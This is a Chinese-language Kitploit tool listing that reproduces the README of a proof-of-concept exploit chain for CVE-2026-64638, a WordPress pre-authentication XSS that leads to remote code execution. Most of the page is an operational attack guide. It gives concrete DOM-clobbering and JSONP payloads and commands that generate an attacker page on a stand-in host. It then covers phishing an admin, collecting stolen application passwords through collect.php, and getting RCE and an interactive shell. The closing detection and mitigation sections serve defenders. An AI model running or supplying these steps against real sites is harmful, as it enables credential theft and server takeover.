Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
poc-CVE-2026-64638- — 针对 WordPress 预认证 XSS 到 RCE 的 PoC 利用链,通过 DOM Clobbering、REST JSONP/SOME 和插件上传实现,附带 Docker 实验环境验证与交互式 Shell。 | Kitploit
工具/GitHubGitHub/mohwahyudi/poc-cve-2026-64638-
钓鱼工具Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试社会工程学红队
GitHubmohwahyudi/poc-cve-2026-64638-

poc-CVE-2026-64638-

针对 WordPress 预认证 XSS 到 RCE 的 PoC 利用链,通过 DOM Clobbering、REST JSONP/SOME 和插件上传实现,附带 Docker 实验环境验证与交互式 Shell。

查看仓库
81个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

XSS2Shell — CVE-2026-64638 PoC

WordPress 预认证 XSS → RCE 攻击链,基于 pwn.ai 的研究,发布于 ionsec.io。

⚠️ 法律警告:仅用于教育目的和授权测试。仅可对您拥有或已获明确书面许可的系统进行测试。

实验室验证

步骤技术状态
1解析器差异 XSS(sanitize_user + 浏览器解析间隙)✅ 已验证
2DOM 覆盖(<area id=ajaxurl>、<div id=color-picker>)✅ 已验证
3登录页面上的 user-profile.js 自动触发✅ 已验证
4REST JSONP 回调允许点号遍历(window.opener.approve.click)✅ 已验证
5_method=GET + _envelope=1 覆盖✅ 已验证
6应用密码窃取(SOME 同源方法执行)⚠️ 需要管理员点击
7插件上传 → PHP 执行(无需激活)⚠️ 需要凭据

完整详情请参阅 lab/VERIFICATION_REPORT.md。

漏洞摘要

攻击链(7 步)

root@kitploit:~
Step 1: Parser Differential XSS
  └─ sanitize_user() allows "< area>", "< div>", "< button>" (space after "<")
     Browser parses these as real HTML elements in login error message

Step 2: DOM Clobbering
  └─ <area id=ajaxurl>   → shadows window.ajaxurl (HTMLAreaElement)
     <div id=color-picker class=reset-pass-submit> → satisfies jQuery selectors
     <button class="wp-generate-pw color-option"> → delegated click handler

Step 3: user-profile.js Auto-Trigger
  └─ Enqueued on wp-login.php (line 1398)
     $('.reset-pass-submit button.wp-generate-pw').trigger('click') fires
     $.post(ajaxurl, ...) → target URL = area.href (attacker-controlled)

Step 4: REST API JSONP + SOME
  └─ _jsonp=window.opener.approve.click → Same Origin Method Execution
     _envelope=1 → bypass auth error, wrap response in 200
     wp_check_jsonp_callback: regex /[^\w\.]/ allows dot traversal

Step 5: Social Engineering (1 click)
  └─ Admin sees real /wp-admin/authorize-application.php page
     Clicks "Approve" → application password minted

Step 6: Credential Theft
  └─ Password appears in redirect query string → read by child window (same-origin)

Step 7: Plugin Upload → RCE
  └─ Upload plugin ZIP → extracted to /wp-content/plugins/{slug}/
     PHP files directly executable WITHOUT activation

快速开始

1. 安装依赖

root@kitploit:~
pip install requests

2. 侦查目标

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com --check

# With Burp Suite proxy
python3 xss2shell_poc.py --target https://wp-target.com --check --proxy http://127.0.0.1:8081

3. Docker 实验室(用于测试)

root@kitploit:~
cd lab
docker-compose up -d
# WordPress 6.0.3 at http://localhost:8080
# Admin: admin / password123

4. 针对实验室验证 XSS 向量

root@kitploit:~
python3 xss2shell_poc.py --target http://localhost:8080 --check --no-ssl

5. 生成攻击者页面

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com \
    --attacker-host https://your-server.com --generate-page

将 xss2shell_attacker.html 和 collect.php 上传到您的服务器。

6. 将链接发送给管理员

已登录的 WordPress 管理员必须访问攻击者页面并点击一次。

7. 接收凭据

凭据会出现在您服务器上的 collected_creds.json 中:

root@kitploit:~
[
  {
    "timestamp": "2026-08-08T...",
    "username": "admin",
    "password": "AbCd 1234 EfGh 5678",
    "site": "https://wp-target.com"
  }
]

8. 执行 RCE 攻击链

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --rce

9. 交互式 Shell

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --shell

10. 清理

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --cleanup

检测(日志取证)

可在服务器日志中搜索的特征:

  • 访问日志:POST /wp-login.php,请求体包含 < area、< div、< button
  • 访问日志:带查询参数 _jsonp= 的 REST 请求(尤其是 _jsonp=a.b.c — 点号是 SOME 攻击的标志)
  • 访问日志:本应拒绝这些参数的路径上出现 _envelope=1 + _method=GET
  • 访问日志:来自未知 IP 的 POST /wp-admin/update.php?action=upload-plugin
  • 访问日志:GET /wp-content/plugins/{unknown-plugin}/*.php — 从未激活的插件中发现 PHP 文件
  • 应用日志:在请求 authorize-application.php 后数秒内创建了应用密码

缓解措施

  1. 修补至 WordPress 7.0.3(或您所用分支的最新修订版)
  2. 轮换所有管理员的应用密码
  3. 如不需要,禁用应用密码:
    root@kitploit:~
    add_filter('wp_is_application_passwords_available', '__return_false');
    
  4. 禁用 REST JSONP:
    root@kitploit:~
    add_filter('rest_jsonp_enabled', '__return_false');
    
  5. 禁用文件修改:
    root@kitploit:~
    define('DISALLOW_FILE_MODS', true);
    
  6. WAF 规则:在 REST 端点拦截 _jsonp=、_envelope=;在发送至 wp-login.php 的 POST 请求体中拦截 < area

文件结构

root@kitploit:~
xss2shell/
├── README.md                      # Documentation (this file)
├── xss2shell_poc.py               # Main PoC script
├── xss2shell_attacker.html        # Generated attacker page
├── collect.php                    # Credential collector endpoint
└── lab/
    ├── docker-compose.yml         # Docker lab (WP 6.0.3)
    ├── VERIFICATION_REPORT.md     # Step-by-step verification
    ├── test_sanitize.php          # sanitize_user() tests
    ├── test_full_payload.php      # Full payload chain test
    ├── test_browser.html          # DOM clobbering browser test
    ├── test_end_to_end.php        # End-to-end PHP test
    └── verify_xss.sh              # Automated curl tests

参考

  • IonSec — XSS2Shell:WordPress 预认证 XSS 到 RCE
  • pwn.ai — 原始发现
  • WordPress 安全更新
下载工具
项目详情
CVECVE-2026-64638
CVSS 4.08.9
受影响版本WordPress 4.7 – 7.0.2(未修补的修订版)
修复版本WordPress 7.0.3(2026 年 8 月 6 日),已回溯移植至所有维护分支
认证预认证(未认证 XSS)
影响通过插件上传实现 RCE